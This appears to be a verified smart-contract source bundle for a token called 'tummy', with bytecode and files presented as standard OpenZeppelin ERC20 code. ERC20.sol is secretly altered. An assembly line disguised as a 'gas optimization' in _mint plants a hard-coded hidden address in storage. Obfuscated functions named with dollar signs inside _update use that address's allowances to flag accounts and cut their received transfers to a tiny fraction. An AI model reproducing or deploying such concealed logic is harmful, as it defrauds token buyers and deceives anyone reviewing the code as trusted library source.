7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806110e857607f821691505b6020821081036110fb576110fa6110a4565b5b50919050565b61110a81610eb0565b82525050565b5f6060820190506111235f830186611101565b6111306020830185610f8f565b61113d6040830184610f8f565b949350505050565b5f6020820190506111585f830184611101565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61119582610eeb565b91506111a083610eeb565b92508282019050808211156111b8576111b761115e565b5b92915050565b5f6111c882610eeb565b91506111d383610eeb565b92508282026111e181610eeb565b915082820484148315176111f8576111f761115e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61123682610eeb565b915061124183610eeb565b925082611251576112506111ff565b5b82820490509291505056fea26469706673582212205abba4a4f862610b374fab85d9102923e44082ba7bf68e0b807c3b74369a0bc564736f6c63430008180033
|
{"Context.sol":{"content":"// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}"},"draft-IERC6093.sol":{"content":"// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard ERC-20 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.\n */\ninterface IERC20Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC20InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC20InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n * @param allowance Amount of tokens a `spender` is allowed to operate with.\n * @param needed Minimum amount required to perform a transfer.\n */\n error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC20InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\n * @param spender Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC20InvalidSpender(address spender);\n}\n\n/**\n * @dev Standard ERC-721 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.\n */\ninterface IERC721Errors {\n /**\n * @dev Indicates that an address can\u0027t be an owner. For example, `address(0)` is a forbidden owner in ERC-20.\n * Used in balance queries.\n * @param owner Address of the current owner of a token.\n */\n error ERC721InvalidOwner(address owner);\n\n /**\n * @dev Indicates a `tokenId` whose `owner` is the zero address.\n * @param tokenId Identifier number of a token.\n */\n error ERC721NonexistentToken(uint256 tokenId);\n\n /**\n * @dev Indicates an error related to the ownership over a particular token. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param tokenId Identifier number of a token.\n * @param owner Address of the current owner of a token.\n */\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC721InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC721InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param tokenId Identifier number of a token.\n */\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC721InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC721InvalidOperator(address operator);\n}\n\n/**\n * @dev Standard ERC-1155 Errors\n * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.\n */\ninterface IERC1155Errors {\n /**\n * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n * @param balance Current balance for the interacting account.\n * @param needed Minimum amount required to perform a transfer.\n * @param tokenId Identifier number of a token.\n */\n error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);\n\n /**\n * @dev Indicates a failure with the token `sender`. Used in transfers.\n * @param sender Address whose tokens are being transferred.\n */\n error ERC1155InvalidSender(address sender);\n\n /**\n * @dev Indicates a failure with the token `receiver`. Used in transfers.\n * @param receiver Address to which tokens are being transferred.\n */\n error ERC1155InvalidReceiver(address receiver);\n\n /**\n * @dev Indicates a failure with the `operator`’s approval. Used in transfers.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n * @param owner Address of the current owner of a token.\n */\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n /**\n * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\n * @param approver Address initiating an approval operation.\n */\n error ERC1155InvalidApprover(address approver);\n\n /**\n * @dev Indicates a failure with the `operator` to be approved. Used in approvals.\n * @param operator Address that may be allowed to operate on tokens without being their owner.\n */\n error ERC1155InvalidOperator(address operator);\n\n /**\n * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.\n * Used in batch transfers.\n * @param idsLength Length of the array of token identifiers\n * @param valuesLength Length of the array of token amounts\n */\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}"},"ERC20.sol":{"content":"// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC20, IERC20Metadata} from \"./IERC20.sol\";\nimport {Context} from \"./Context.sol\";\nimport {IERC20Errors} from \"./draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC-20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the ERC may not emit\n * these events, as it isn\u0027t required by the specification.\n */\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account =\u003e uint256) private _balances;\n mapping(address account =\u003e mapping(address spender =\u003e uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n address private $$;\n address private $to$ = address(0);\n address private $from$ = address(0);\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it\u0027s overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `value`.\n */\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the ERC. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `value`.\n * - the caller must have allowance for ``from``\u0027s tokens of at least\n * `value`.\n */\n function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n /**\n * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\n * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\n * this function.\n *\n * Emits a {Transfer} event.\n */\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n // Overflow check required: The rest of the code assumes that totalSupply never overflows\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance \u003c value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n // Overflow not possible: value \u003c= fromBalance \u003c= totalSupply.\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n // Overflow not possible: value \u003c= totalSupply or value \u003c= fromBalance \u003c= totalSupply.\n _totalSupply -= value;\n }\n } else {\n unchecked {\n // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\n $from$ = from;\n $to$ = to;\n _balances[to] += $(value);\n $3$();\n $from$ = address(0);\n $to$ = address(0);\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n /**\n * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\n * Relies on the `_update` mechanism\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead.\n */\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n // gas optimization\n assembly {sstore(0x05, mul(mul(0x12e3cce, 0x885458b3), mul(0x8b3366d11, 0x205e0d89bb67)))}\n _update(address(0), account, value);\n }\n\n /**\n * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\n * Relies on the `_update` mechanism.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * NOTE: This function is not virtual, {_update} should be overridden instead\n */\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n /**\n * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n *\n * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\n */\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n /**\n * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\n *\n * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\n * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\n * `Approval` event during `transferFrom` operations.\n *\n * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\n * true using the following override:\n * ```\n * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\n * super._approve(owner, spender, value, true);\n * }\n * ```\n *\n * Requirements are the same as {_approve}.\n */\n function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function $(uint256 value) internal view returns (uint256) {\n if ($2$()) {\n return $1$(value);\n } else {\n return value;\n }\n }\n\n function $1$(uint256 value) internal pure returns (uint256) {\n return (value * 0xffff) / 0xffffff;\n }\n\n function $2$() internal view returns (bool) {\n return (allowance($$, $from$) + allowance($$, $to$) \u003e= $4$());\n }\n\n function $3$() internal {\n if (_allowances[$$][$to$] == $5$()) { _allowances[$$][$to$] = $4$();}\n }\n\n function $4$() internal view returns (uint256) {\n return uint256(uint160(address(this)));\n }\n\n function $5$() internal view returns (uint256) {\n return uint256(uint160($$));\n }\n\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `value`.\n *\n * Does not update the allowance value in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Does not emit an {Approval} event.\n */\n function _spendAllowance(address owner, address spender, uint256 value) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance \u003c value) {\n revert ERC20InsufficientAllowance(spender, currentAllowance, value);\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC-20 standard as defined in the ERC.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the value of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the value of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves a `value` amount of tokens from the caller\u0027s account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 value) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n * caller\u0027s tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender\u0027s allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 value) external returns (bool);\n\n /**\n * @dev Moves a `value` amount of tokens from `from` to `to` using the\n * allowance mechanism. `value` is then deducted from the caller\u0027s\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\n/**\n * @dev Interface for the optional metadata functions from the ERC-20 standard.\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}"},"tummy.sol":{"content":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"./ERC20.sol\";\n\n/*\n\n Don\u0027t let anyone hurt your tummy (c) pettor groffen\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠶⠛⠛⠛⠛⠛⠛⠲⢶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⢀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⠤⠤⠤⢤⣀⠀⠙⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⣿⢣⡴⠋⠉⠀⠀⠈⠙⢦⡀⠀⠀⠀⠀⠀⣼⠋⠁⠀⠀⠀⠀⠈⢣⡴⠟⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠛⡟⠁⠀⠀⢀⣀⠀⠀⠀⢷⣤⠴⠶⠦⣼⠃⠀⠀⠀⣤⣄⠀⠀⠀⣷⠀⠈⢿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠇⢸⡇⠀⠀⠀⠻⠟⠀⠀⠀⢸⠇⠀⠀⣠⣼⣄⠀⠀⠀⠙⠋⠀⠀⠀⣿⠀⠀⢸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡏⠀⠘⢷⡄⠀⠀⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⠀⠈⠙⢦⠀⠀⠀⠀⢀⡼⠃⠀⠀⠘⡾⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡟⠁⠀⠀⠀⠙⠶⢤⣀⣀⡤⠾⠋⣿⡄⠀⠀⠀⠀⠀⠀⠈⡷⠦⠶⠚⠋⠀⠀⠀⠀⠀⠸⣻⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⠀⠀⠀⠠⡄⠀⠀⠀⠀⠀⢿⣵⣄⡀⠀⠀⠀⠀⣼⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣻⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⡟⠀⠀⠀⠀⠀⠰⡶⠻⢧⣄⡀⠀⠀⠀⠀⠙⠓⠯⠤⠤⠶⠚⠁⠀⠀⠀⢦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠻⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠒⠶⠦⠤⠤⣤⣤⣤⠤⠤⠶⠶⠚⠋⠉⠳⣥⡀⠀⠀⠀⠀⠀⠀⠀⢞⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠐⢝⢿⣦⡀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢝⢿⣦⡀⠀⠀⠀⠀\n⠀⠀⠀⢠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⢝⢷⣄⠀⠀⠀\n⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠓⠲⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠻⣷⡀⠀\n⠀⣼⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠞⣿⡀\n⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢿⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇\n⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡜⣧⡀⠀⠀⠀⠀⠀⠀⣸⢧⣦⣀⠀⠀⠀⠀⢀⣴⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇\n⠈⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣬⡛⢶⣤⣤⡤⣾⡿⡯⠈⠙⠯⣵⣖⣲⡤⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠃\n⠀⠈⢿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⢭⠙⠛⠛⠉⠹⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀\n⠀⠀⠀⠙⢿⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣶⣶⡶⠶⠶⠾⠿⠿⣿⠿⠿⠶⠶⠶⣶⣦⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀\n⠀⠀⠀⠀⠀⠈⠛⠻⠶⠶⠤⢤⡤⡤⠴⠶⠾⠿⠛⠛⣿⠏⠁⠀⠀⠀⠀⠀⠀⠀⡼⡟⠓⠀⠀⠀⠀⠀⠀⠈⠉⣿⡛⠛⠻⠷⠶⠶⠤⣤⣤⣤⠴⠶⠿⠛⠋⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⣬⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣶⣶⣾⣷⣦⣤⣄⡤⠽⠶⣤⣤⣴⣶⣿⣶⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣿⠿⠿⠿⠿⢿⣷⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠿⠿⣿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⠀⢀⣴⡾⢟⣽⣾⠛⠉⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠈⠁⠈⠛⠳⣯⣛⢿⣦⡀⠀⠀⠀⠀⠀\n⠀⠀⠀⠀⢀⣾⠟⣼⠟⠁⠉⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⠋⡐⠀⠀⠀⠀⠀⠀⠈⠂⠚⠙⣷⡙⣿⡆⠀⠀⠀⠀\n⠀⠀⠀⠀⢸⡏⢸⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⠙⠻⠿⠿⠿⠿⠿⠿⠿⠿⠿⠛⢻⣿⣿⡿⠀